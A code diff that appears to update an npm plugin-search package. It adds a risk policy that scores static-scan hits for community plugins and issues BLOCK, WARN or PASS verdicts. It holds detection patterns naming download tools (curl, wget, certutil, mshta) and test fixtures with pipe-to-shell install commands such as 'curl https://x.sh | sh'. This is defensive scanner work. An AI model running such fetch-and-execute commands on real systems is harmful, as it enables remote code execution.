network: ['http_url', 'ws_url', 'fetch_call', 'http_client', 'socket_api', 'dns_call', 'suspicious_tld', 'ipv4', 'ip_obfuscation'],
|
|
49
|
+
exec: ['exec_sync', 'exec_api', 'spawn_call', 'shell_true', 'cmd_launch', 'env_in_cmd', 'node_eval'],
|
|
50
|
+
env: ['env_any', 'env_secret_key'],
|
|
51
|
+
secrets: ['read_secrets_paths', 'homedir', 'bearer', 'pwd_assign'],
|
|
52
|
+
files: ['write_home', 'dotfile_write', 'chmod_suid', 'sandbox_escalation', 'path_traversal', 'rm_recursive'],
|
|
53
|
+
obfuscation: ['eval_call', 'new_function', 'function_ctor', 'vm_run', 'atob_call', 'fromcharcode', 'hex_escapes', 'uni_escapes', 'base64_blob', 'char_array', 'dynamic_require'],
|
|
54
|
+
scripts: ['lifecycle_script', 'risky_dependency'],
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
/** Hits that are plain noise or near-universal and should not add risk. */
|
|
58
|
+
const NOISE_RULES = new Set(['ipv4', 'ip_obfuscation', 'suspicious_tld', 'minified_line', 'binary_blob', 'bearer', 'pwd_assign', 'http_url', 'env_any'])
|
|
59
|
+
|
|
60
|
+
const SEVERITY_WEIGHT = { high: 3, medium: 2, low: 1 }
|
|
61
|
+
const MAX_PER_RULE = 3
|
|
62
|
+
const WARN_SCORE = 10
|
|
63
|
+
const UNKNOWN_PREVALENCE = 0.5
|
|
64
|
+
|
|
65
|
+
const PLACEHOLDER = /(?:example|placeholder|your[_-]?key|dummy|sample|test|xxxx|0000|redacted|fake)/i
|
|
66
|
+
|
|
67
|
+
/** Lines that define signatures themselves must never be scanned as evidence. */
|
|
68
|
+
const SIGNATURE_DEFINITION = /^\s*(?:re\s*:\s*\/|(?:name|hint|id|category|severity)\s*:\s*["'`]|\/\/)/
|
|
69
|
+
const REGEX_LITERAL = /(?:=|\(|\[|,)\s*\/(?:[^/\\\n]|\\.)+\/[gimsuy]*\s*[,;)]?\s*$/
|
|
70
|
+
|
|
71
|
+
/** Bundled or minified code puts a whole module on one line; single-line hits are unverifiable. */
|
|
72
|
+
function looksMinifiedLine(text) {
|
|
73
|
+
if (text.length < 150) return false
|
|
74
|
+
const symbols = (text.match(/[{}();,=<>]/g) || []).length
|
|
75
|
+
const spaces = (text.match(/\s/g) || []).length
|
|
76
|
+
return symbols >= 45 && spaces <= text.length * 0.16
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
/** Rules that are about runtime code execution from encoded material. */
|
|
80
|
+
const ENCODED_RULES = new Set(['hex_escapes', 'uni_escapes', 'base64_blob', 'char_array', 'atob_call', 'fromcharcode'])
|
|
81
|
+
const EVAL_RULES = new Set(['eval_call', 'new_function', 'function_ctor', 'vm_run'])
|
|
82
|
+
const DOWNLOAD_RULES = new Set(['download_cmd', 'pipe_to_shell', 'ps_download_exec', 'wget_exec', 'ps_encoded', 'ps_iex'])
|
|
83
|
+
const NETWORK_RULES = new Set(['fetch_call', 'http_client', 'socket_api', 'ws_url', 'dns_call', 'http_url'])
|
|
84
|
+
|
|
85
|
+
function rulePrevalence(calibration, rule) {
|
|
86
|
+
const p = calibration && calibration.rules && calibration.rules[rule] && calibration.rules[rule].prevalence
|
|
87
|
+
return typeof p === 'number' ? p : UNKNOWN_PREVALENCE
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
/** A signature pack (including our own gate rules) describes attacks, it does not perform them. */
|
|
91
|
+
export function isSignatureHit(hit) {
|
|
92
|
+
const file = typeof hit.file === 'string' ? hit.file : ''
|
|
93
|
+
if (/(?:^|\/)lib\/gate\//.test(file) || /(?:^|\/)resources\/gate\//.test(file)) return true
|
|
94
|
+
const evidence = String(hit.evidence || '')
|
|
95
|
+
return SIGNATURE_DEFINITION.test(evidence) || REGEX_LITERAL.test(evidence.trim()) || isRegexUse(hit)
|
|
96
|
+
}
|
|
97
|
+
|
|
98
|
+
/** Regex literals used with test/exec are matcher code, not attack payloads. */
|
|
99
|
+
function isRegexUse(hit) {
|
|
100
|
+
return /[=,(]\s*\/(?:[^/\\\n]|\\.)+\/[gimsuy]*\s*\.(?:test|exec)\(/.test(String(hit.evidence || ''))
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
function hasCjk(text) {
|
|
104
|
+
return /[\u4e00-\u9fff]/.test(text)
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
/**
|
|
108
|
+
* Hits inside minified bundles, generated files, docs or prose strings cannot be
|
|
109
|
+
* verified from a single line, so they must not decide the verdict alone.
|
|
110
|
+
*/
|
|
111
|
+
export function isTrustworthyHit(hit) {
|
|
112
|
+
const evidence = String(hit.evidence || '')
|
|
113
|
+
const file = typeof hit.file === 'string' ? hit.file : ''
|
|
114
|
+
if (evidence.length > 400) return false
|
|
115
|
+
if (hasCjk(evidence)) return false
|
|
116
|
+
if (looksMinifiedLine(evidence)) return false
|
|
117
|
+
if (/(?:^|\/)(?:vendor|third[_-]?party|node_modules)\//i.test(file)) return false
|
|
118
|
+
if (/\.min\.(?:js|mjs|cjs)$/i.test(file)) return false
|
|
119
|
+
if (/(?:^|\/)(?:test|tests|__tests__|docs?|examples?|samples?)\//i.test(file)) return false
|
|
120
|
+
return !/\.(?:md|markdown|rst|txt)$/i.test(file)
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
function rareRulesBySeverity(hits) {
|
|
124
|
+
const map = new Map()
|
|
125
|
+
for (const hit of hits) {
|
|
126
|
+
if (isSignatureHit(hit) || !isTrustworthyHit(hit)) continue
|
|
127
|
+
if (hit.severity !== 'high' && hit.severity !== 'medium') continue
|
|
128
|
+
if (!map.has(hit.rule)) map.set(hit.rule, hit.severity)
|
|
129
|
+
}
|
|
130
|
+
return map
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
function rarityWeight(prevalence) {
|
|
134
|
+
return Math.min(1, Math.max(0.05, 1 - prevalence))
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
/** Group hits by rule, capped per rule, ignoring placeholders for secret rules. */
|
|
138
|
+
function collapseHits(hits) {
|
|
139
|
+
const byRule = new Map()
|
|
140
|
+
for (const hit of hits) {
|
|
141
|
+
if (isSignatureHit(hit)) continue
|
|
142
|
+
if (NOISE_RULES.has(hit.rule)) continue
|
|
143
|
+
if ((hit.rule === 'sk_key' || hit.rule === 'gh_token' || hit.rule === 'aws_key' || hit.rule === 'bearer') && PLACEHOLDER.test(String(hit.evidence || ''))) continue
|
|
144
|
+
const entry = byRule.get(hit.rule) || { hit, count: 0, files: new Set() }
|
|
145
|
+
if (entry.count < MAX_PER_RULE) entry.count += 1
|
|
146
|
+
entry.files.add(hit.file)
|
|
147
|
+
byRule.set(hit.rule, entry)
|
|
148
|
+
}
|
|
149
|
+
return byRule
|
|
150
|
+
}
|
|
151
|
+
|
|
152
|
+
/** Per-file rule sets, used by the combination rules. */
|
|
153
|
+
function ruleSetsByFile(hits) {
|
|
154
|
+
const byFile = new Map()
|
|
155
|
+
for (const hit of hits) {
|
|
156
|
+
if (isSignatureHit(hit)) continue
|
|
157
|
+
if (!byFile.has(hit.file)) byFile.set(hit.file, new Set())
|
|
158
|
+
byFile.get(hit.file).add(hit.rule)
|
|
159
|
+
}
|
|
160
|
+
return [...byFile.values()]
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
function anyOf(set, rules) {
|
|
164
|
+
for (const r of rules) if (set.has(r)) return true
|
|
165
|
+
return false
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
function capabilitiesOf(ruleSet, network) {
|
|
169
|
+
const caps = []
|
|
170
|
+
for (const [key, rules] of Object.entries(CAPABILITY_GROUPS)) {
|
|
171
|
+
if (anyOf(ruleSet, rules)) caps.push(key)
|
|
172
|
+
}
|
|
173
|
+
if (network && network.hosts && network.hosts.length > 0) {
|
|
174
|
+
if (!caps.includes('network')) caps.unshift('network')
|
|
175
|
+
}
|
|
176
|
+
return caps
|
|
177
|
+
}
|
|
178
|
+
|
|
179
|
+
const DOWNLOAD_COMMAND = /(?:curl|wget|iwr|Invoke-WebRequest|DownloadString|bitsadmin|certutil|mshta|regsvr32|rundll32)\b/i
|
|
180
|
+
|
|
181
|
+
/** Trusted hits of any severity, used by the combination rules. */
|
|
182
|
+
function minifiedFileSet(hits) {
|
|
183
|
+
return new Set(hits.filter((hit) => hit.rule === 'minified_line').map((hit) => hit.file))
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
function trustedHits(hits) {
|
|
187
|
+
const minified = minifiedFileSet(hits)
|
|
188
|
+
const list = []
|
|
189
|
+
for (const hit of hits) {
|
|
190
|
+
if (isSignatureHit(hit) || !isTrustworthyHit(hit) || minified.has(hit.file)) continue
|
|
191
|
+
if (hit.severity !== 'high' && hit.severity !== 'medium' && hit.severity !== 'low') continue
|
|
192
|
+
list.push(hit)
|
|
193
|
+
}
|
|
194
|
+
return list
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
/** Same file, close lines: the two rules have to sit next to each other to form a flow. */
|
|
198
|
+
function nearbyPairs(hits, leftSet, rightSet, maxGap) {
|
|
199
|
+
const pairs = []
|
|
200
|
+
for (const a of hits) {
|
|
201
|
+
if (!leftSet.has(a.rule)) continue
|
|
202
|
+
for (const b of hits) {
|
|
203
|
+
if (!rightSet.has(b.rule)) continue
|
|
204
|
+
if (a.file !== b.file) continue
|
|
205
|
+
if (Math.abs((a.line || 0) - (b.line || 0)) > maxGap) continue
|
|
206
|
+
pairs.push({ a, b })
|
|
207
|
+
if (pairs.length >= 3) return pairs
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
return pairs
|
|
211
|
+
}
|
|
212
|
+
|
|
213
|
+
function comboEvidence(hits, network) {
|
|
214
|
+
const combos = []
|
|
215
|
+
const trusted = trustedHits(hits)
|
|
216
|
+
const external = Boolean(network && network.hosts && network.hosts.length > 0)
|
|
217
|
+
|
|
218
|
+
// An install script that downloads remote content and runs it.
|
|
219
|
+
for (const hit of trusted) {
|
|
220
|
+
if (hit.rule !== 'lifecycle_script') continue
|
|
221
|
+
if (/(?:^|\/)node_modules\//.test(hit.file || '')) continue
|
|
222
|
+
if (DOWNLOAD_COMMAND.test(String(hit.evidence || ''))) {
|
|
223
|
+
combos.push({ id: 'install_download_run', severity: 'critical', detail: '安装脚本里下载并执行外部内容', file: hit.file })
|
|
224
|
+
break
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
|
|
228
|
+
// A payload that is decoded right before it is executed (and possibly sent).
|
|
229
|
+
for (const pair of nearbyPairs(trusted, ENCODED_RULES, EVAL_RULES, 30)) {
|
|
230
|
+
const networked = trusted.some((hit) => hit.file === pair.a.file && NETWORK_RULES.has(hit.rule))
|
|
231
|
+
combos.push({
|
|
232
|
+
id: networked ? 'encoded_eval_network' : 'encoded_eval',
|
|
233
|
+
severity: networked ? 'critical' : 'review',
|
|
234
|
+
detail: networked ? '同文件相近位置解码后执行并联网' : '同文件相近位置解码后动态执行',
|
|
235
|
+
file: pair.a.file,
|
|
236
|
+
})
|
|
237
|
+
break
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
// Concrete credential material next to a network call. Reading an API-key
|
|
241
|
+
// environment variable (env_secret_key) is normal for an LLM plugin, so it is
|
|
242
|
+
// deliberately not part of this combination.
|
|
243
|
+
const credential = new Set(['sk_key', 'gh_token', 'aws_key', 'priv_key'])
|
|
244
|
+
for (const pair of nearbyPairs(trusted, credential, NETWORK_RULES, 40)) {
|
|
245
|
+
combos.push({
|
|
246
|
+
id: pair.a.rule === 'priv_key' ? 'privkey_plus_network' : 'secret_plus_network',
|
|
247
|
+
severity: 'review',
|
|
248
|
+
detail: pair.a.rule === 'priv_key' ? '包内含私钥且联网' : '读取密钥/凭证同时联网',
|
|
249
|
+
file: pair.a.file,
|
|
250
|
+
})
|
|
251
|
+
break
|
|
252
|
+
}
|
|
253
|
+
if (external && trusted.some((hit) => hit.rule === 'priv_key')) {
|
|
254
|
+
combos.push({ id: 'privkey_plus_network', severity: 'review', detail: '包内含私钥且联网' })
|
|
255
|
+
}
|
|
256
|
+
|
|
257
|
+
// Install steps that write outside the workspace or ask for escalation.
|
|
258
|
+
for (const pair of nearbyPairs(trusted, new Set(['lifecycle_script']), new Set(['write_system', 'sandbox_escalation']), 20)) {
|
|
259
|
+
combos.push({ id: 'install_write_system', severity: 'review', detail: '安装脚本写系统目录或请求提权', file: pair.a.file })
|
|
260
|
+
break
|
|
261
|
+
}
|
|
262
|
+
return combos
|
|
263
|
+
}
|
|
264
|
+
|
|
265
|
+
/**
|
|
266
|
+
* Apply the risk policy to a raw scan result.
|
|
267
|
+
* @param {object} base result of buildResult (hits, summary, network...)
|
|
268
|
+
* @param {{calibration?: object}} [opts]
|
|
269
|
+
*/
|
|
270
|
+
export function applyPolicy(base, opts = {}) {
|
|
271
|
+
const calibration = opts.calibration || null
|
|
272
|
+
const hits = Array.isArray(base.hits) ? base.hits : []
|
|
273
|
+
const collapsed = collapseHits(hits)
|
|
274
|
+
const ruleSet = new Set(collapsed.keys())
|
|
275
|
+
const fileSets = ruleSetsByFile(hits)
|
|
276
|
+
const network = base.network || { hosts: [] }
|
|
277
|
+
// Hits inside a file that contains a multi-thousand-character line are bundle
|
|
278
|
+
// noise; they cannot be attributed to the author's code and never decide the verdict.
|
|
279
|
+
const minifiedFiles = minifiedFileSet(hits)
|
|
280
|
+
|
|
281
|
+
const critical = []
|
|
282
|
+
const review = []
|
|
283
|
+
const common = []
|
|
284
|
+
let score = 0
|
|
285
|
+
for (const [rule, entry] of collapsed) {
|
|
286
|
+
const prevalence = rulePrevalence(calibration, rule)
|
|
287
|
+
const weight = rarityWeight(prevalence)
|
|
288
|
+
const trustworthy = isTrustworthyHit(entry.hit) && !minifiedFiles.has(entry.hit.file)
|
|
289
|
+
if (CRITICAL_RULES.has(rule) && trustworthy) critical.push(entry.hit)
|
|
290
|
+
else if (REVIEW_RULES.has(rule) && trustworthy) review.push(entry.hit)
|
|
291
|
+
else common.push(entry.hit)
|
|
292
|
+
score += (SEVERITY_WEIGHT[entry.hit.severity] || 1) * entry.count * weight
|
|
293
|
+
}
|
|
294
|
+
const combos = comboEvidence(hits, network)
|
|
295
|
+
const criticalCombo = combos.some((c) => c.severity === 'critical')
|
|
296
|
+
const reviewCombo = combos.some((c) => c.severity === 'review')
|
|
297
|
+
|
|
298
|
+
// A single hostile-looking string is not enough to block: BLOCK requires a
|
|
299
|
+
// combination of behaviours that only makes sense for malware. Capability
|
|
300
|
+
// density alone (score) never downgrades a plugin; it is exposed for the UI.
|
|
301
|
+
let verdict = 'PASS'
|
|
302
|
+
if (criticalCombo) verdict = 'BLOCK'
|
|
303
|
+
else if (critical.length > 0 || review.length > 0 || reviewCombo) verdict = 'WARN'
|
|
304
|
+
|
|
305
|
+
const capabilities = capabilitiesOf(ruleSet, network)
|
|
306
|
+
const prevalence = {}
|
|
307
|
+
for (const rule of collapsed.keys()) prevalence[rule] = Math.round(rulePrevalence(calibration, rule) * 100)
|
|
308
|
+
const recommendations = []
|
|
309
|
+
if (verdict === 'BLOCK') recommendations.push('BLOCK: 发现已知恶意行为或组合特征,建议不要安装。')
|
|
310
|
+
if (verdict === 'WARN') recommendations.push('WARN: 有需要人工确认的信号,请结合能力和来源判断。')
|
|
311
|
+
if (capabilities.length > 0) recommendations.push('能力:' + capabilities.join('、'))
|
|
312
|
+
if (verdict === 'PASS') recommendations.push('未发现恶意特征组合;签名扫描是启发式结果,不构成安全保证。')
|
|
313
|
+
|
|
314
|
+
return {
|
|
315
|
+
...base,
|
|
316
|
+
verdict,
|
|
317
|
+
riskLevel: verdict === 'BLOCK' ? 'danger' : verdict === 'WARN' ? 'review' : capabilities.length > 0 ? 'notice' : 'clean',
|
|
318
|
+
score: Number(score.toFixed(2)),
|
|
319
|
+
capabilities,
|
|
320
|
+
combos,
|
|
321
|
+
prevalence,
|
|
322
|
+
criticalEvidence: critical,
|
|
323
|
+
reviewEvidence: review,
|
|
324
|
+
commonEvidence: common,
|
|
325
|
+
ruleCount: collapsed.size,
|
|
326
|
+
recommendations,
|
|
327
|
+
calibration: calibration
|
|
328
|
+
? { sample: calibration.sample || 0, generatedAt: calibration.generatedAt || '' }
|
|
329
|
+
: null,
|
|
330
|
+
}
|
|
331
|
+
}
|
package/lib/gate/rules.js
CHANGED
|
@@ -370,7 +370,7 @@ export const RULES = [
|
|
|
370
370
|
category: CATEGORY.NETWORK,
|
|
371
371
|
severity: "low",
|
|
372
372
|
name: "Suspicious TLD",
|
|
373
|
-
re:
|
|
373
|
+
re: /(?:https?:\/\/|wss?:\/\/)[^\s"'`]*?\.(?:top|xyz|tk|ml|ga|cf|gq|pw|work|click|stream|icu|vip)\b|(["'`])(?:[a-z0-9-]+\.)+(?:top|xyz|tk|ml|ga|cf|gq|pw|work|click|stream|icu|vip)\1/gi,
|
|
374
374
|
hint: "Cheap-registration TLDs are over-represented in malware C2.",
|
|
375
375
|
},
|
|
376
376
|
{
|
package/lib/gate-scan.js
CHANGED
|
@@ -13,11 +13,13 @@
|
|
|
13
13
|
import { CATEGORY } from './gate/rules.js'
|
|
14
14
|
import { buildResult, scanTarballFiles } from './gate/scan.js'
|
|
15
15
|
import { extractTarball } from './gate/targz.js'
|
|
16
|
+
import { applyPolicy } from './gate/policy.js'
|
|
16
17
|
import { downloadTarball, fetchPackument, selectVersion } from './npm.js'
|
|
18
|
+
import fs from 'node:fs'
|
|
17
19
|
|
|
18
20
|
const MAX_TARBALL_BYTES = 32 * 1024 * 1024
|
|
19
21
|
const MAX_EXTRACT_BYTES = 64 * 1024 * 1024
|
|
20
|
-
const MAX_FILE_BYTES =
|
|
22
|
+
const MAX_FILE_BYTES = 512 * 1024
|
|
21
23
|
const MAX_FILES = 2000
|
|
22
24
|
const MAX_HITS = 80
|
|
23
25
|
const MAX_HOSTS = 30
|
|
@@ -27,6 +29,22 @@ const CACHE_MAX = 40
|
|
|
27
29
|
/** name@version -> { result, at }. */
|
|
28
30
|
const cache = new Map()
|
|
29
31
|
|
|
32
|
+
let calibration = null
|
|
33
|
+
let calibrationLoaded = false
|
|
34
|
+
|
|
35
|
+
/** Load data/calibration.json (rule prevalence across top community plugins). */
|
|
36
|
+
function loadCalibration() {
|
|
37
|
+
if (!calibrationLoaded) {
|
|
38
|
+
calibrationLoaded = true
|
|
39
|
+
try {
|
|
40
|
+
calibration = JSON.parse(fs.readFileSync(new URL('../data/calibration.json', import.meta.url), 'utf8'))
|
|
41
|
+
} catch {
|
|
42
|
+
calibration = null
|
|
43
|
+
}
|
|
44
|
+
}
|
|
45
|
+
return calibration
|
|
46
|
+
}
|
|
47
|
+
|
|
30
48
|
function cacheGet(key) {
|
|
31
49
|
const hit = cache.get(key)
|
|
32
50
|
if (hit === undefined) return undefined
|
|
@@ -82,6 +100,13 @@ function publicResult(result, extra) {
|
|
|
82
100
|
return {
|
|
83
101
|
verdict: result.verdict,
|
|
84
102
|
score: result.score,
|
|
103
|
+
capabilities: (result.capabilities ?? []).slice(0, 12),
|
|
104
|
+
combos: (result.combos ?? []).slice(0, 12),
|
|
105
|
+
criticalEvidence: (result.criticalEvidence ?? []).slice(0, 20).map(trimHit),
|
|
106
|
+
reviewEvidence: (result.reviewEvidence ?? []).slice(0, 40).map(trimHit),
|
|
107
|
+
commonEvidence: (result.commonEvidence ?? []).slice(0, 60).map(trimHit),
|
|
108
|
+
ruleCount: result.ruleCount ?? 0,
|
|
109
|
+
calibration: result.calibration ?? null,
|
|
85
110
|
filesScanned: result.filesScanned,
|
|
86
111
|
filesTotal: result.filesTotal,
|
|
87
112
|
summary: result.summary,
|
|
@@ -130,7 +155,8 @@ export async function scanPackage(name, version) {
|
|
|
130
155
|
lifecycleCount: lifecycleHits(selected.scripts).length,
|
|
131
156
|
fileCount: files.length,
|
|
132
157
|
}
|
|
133
|
-
const
|
|
158
|
+
const baseResult = buildResult({ ...scanned, hosts: scanned.network?.hosts ?? [] }, { allowlistHosts: [] })
|
|
159
|
+
const result = applyPolicy(baseResult, { calibration: loadCalibration() })
|
|
134
160
|
|
|
135
161
|
const payload = publicResult(result, {
|
|
136
162
|
name,
|
package/locale/en.json
CHANGED
|
@@ -2,5 +2,6 @@
|
|
|
2
2
|
"meta": {
|
|
3
3
|
"title": "Plugin search",
|
|
4
4
|
"description": "Adds a Search tab to the Plugins page: search 7,000+ community plugins by name, author, or keyword with category filters and sorting. Installs run a pre-install static safety scan (BLOCK/WARN/PASS), installed bundles are detected with update hints, and the catalog ships with the plugin so searching needs no network."
|
|
5
|
-
}
|
|
5
|
+
},
|
|
6
|
+
"riskCapabilitiesOnly": "{count} capabilities, no malicious combination found"
|
|
6
7
|
}
|
package/locale/zh.json
CHANGED
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "dsh-plugin-explorer",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.3.0",
|
|
4
4
|
"description": "Search the community plugin catalog, run a pre-install safety scan, filter by category and update installed bundles from the Plugins page.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"repository": {
|
package/scripts/verify.mjs
CHANGED
|
@@ -156,5 +156,23 @@ const dialog = plugin.__test.ScanDialog({
|
|
|
156
156
|
})
|
|
157
157
|
check('scan dialog renders a modal', dialog?.props?.className === 'pf-overlay' && JSON.stringify(dialog).includes('pf-verdict-warn'))
|
|
158
158
|
|
|
159
|
+
// Policy semantics: a single hostile string stays WARN; a proven install/exec
|
|
160
|
+
// combination escalates to BLOCK.
|
|
161
|
+
const { applyPolicy } = await import('../lib/gate/policy.js')
|
|
162
|
+
const base = (hits) => ({ hits, summary: { high: 1, medium: 0, low: 0 }, filesScanned: 1, network: { hosts: [] } })
|
|
163
|
+
const singleSignal = applyPolicy(base([{ rule: 'pipe_to_shell', severity: 'high', file: 'a.js', line: 1, evidence: 'child_process.execSync("curl https://x.sh | sh")' }]))
|
|
164
|
+
check('single hostile signal is only WARN', singleSignal.verdict === 'WARN')
|
|
165
|
+
const installCombo = applyPolicy(base([
|
|
166
|
+
{ rule: 'lifecycle_script', severity: 'high', file: 'package/package.json', line: 1, evidence: 'postinstall: curl -fsSL https://x.sh | sh' },
|
|
167
|
+
]))
|
|
168
|
+
check('install script downloading content is BLOCK', installCombo.verdict === 'BLOCK' && installCombo.combos.some((combo) => combo.id === 'install_download_run'))
|
|
169
|
+
const docHit = applyPolicy(base([{ rule: 'pipe_to_shell', severity: 'high', file: 'README.md', line: 2, evidence: 'curl https://x.sh | sh' }]))
|
|
170
|
+
check('documentation hit does not decide the verdict', docHit.verdict === 'PASS')
|
|
171
|
+
const apiKeyUse = applyPolicy({
|
|
172
|
+
hits: [{ rule: 'env_secret_key', severity: 'high', file: 'index.js', line: 4, evidence: 'process.env.OPENAI_API_KEY' }],
|
|
173
|
+
summary: { high: 1, medium: 0, low: 0 }, filesScanned: 1, network: { hosts: ['api.openai.com'] },
|
|
174
|
+
})
|
|
175
|
+
check('reading an API-key env var with network is not a warning', apiKeyUse.verdict === 'PASS')
|
|
176
|
+
|
|
159
177
|
console.log(failures === 0 ? '\nALL CHECKS PASSED' : `\n${failures} CHECK(S) FAILED`)
|
|
160
178
|
process.exit(failures === 0 ? 0 : 1)
|